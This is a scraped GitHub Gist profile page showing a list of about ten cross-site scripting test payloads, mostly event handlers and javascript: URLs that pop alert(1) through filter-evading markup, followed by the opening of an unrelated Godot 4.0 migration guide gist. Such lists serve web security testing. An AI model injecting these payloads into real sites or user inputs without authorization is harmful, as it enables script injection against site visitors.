Skip to content

Instantly share code, notes, and snippets.

View turbits's full-sized avatar
🦆

Trevor turbits

🦆
View GitHub Profile
<body oninput=javascript:alert(1)><input autofocus>
<math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>
<frameset onload=javascript:alert(1)>
<table background="javascript:javascript:alert(1)">
<!--<img src="--><img src=x onerror=javascript:alert(1)//">
<comment><img src="</comment><img src=x onerror=javascript:alert(1))//">
<![><img src="]><img src=x onerror=javascript:alert(1)//">
<style><img src="</style><img src=x onerror=javascript:alert(1)//">
<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>
<head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body>
@WolfgangSenff
WolfgangSenff / gist:168cb0cbd486c8c9cd507f232165b976
Last active July 5, 2024 09:44
Godot 4.0 Migration/Upgrade guide
## For a beginner-friendly version of the following (more advanced users likely will get better use of the below,
## if you're just starting out...), see this new gist:
## https://gist.github.com/WolfgangSenff/0a9c1d800db42a9a9441b2d0288ed0fd
This document represents the beginning of an upgrade or migration document for GDScript 2.0 and Godot 4.0. I'm focusing on 2D
at the moment as I'm upgrading a 2D game, but will hopefully have more to add for 3D afterward.
## If you want more content like this, please help fund my cat's medical bills at https://ko-fi.com/kyleszklenski - thank you very much! On to the migration guide.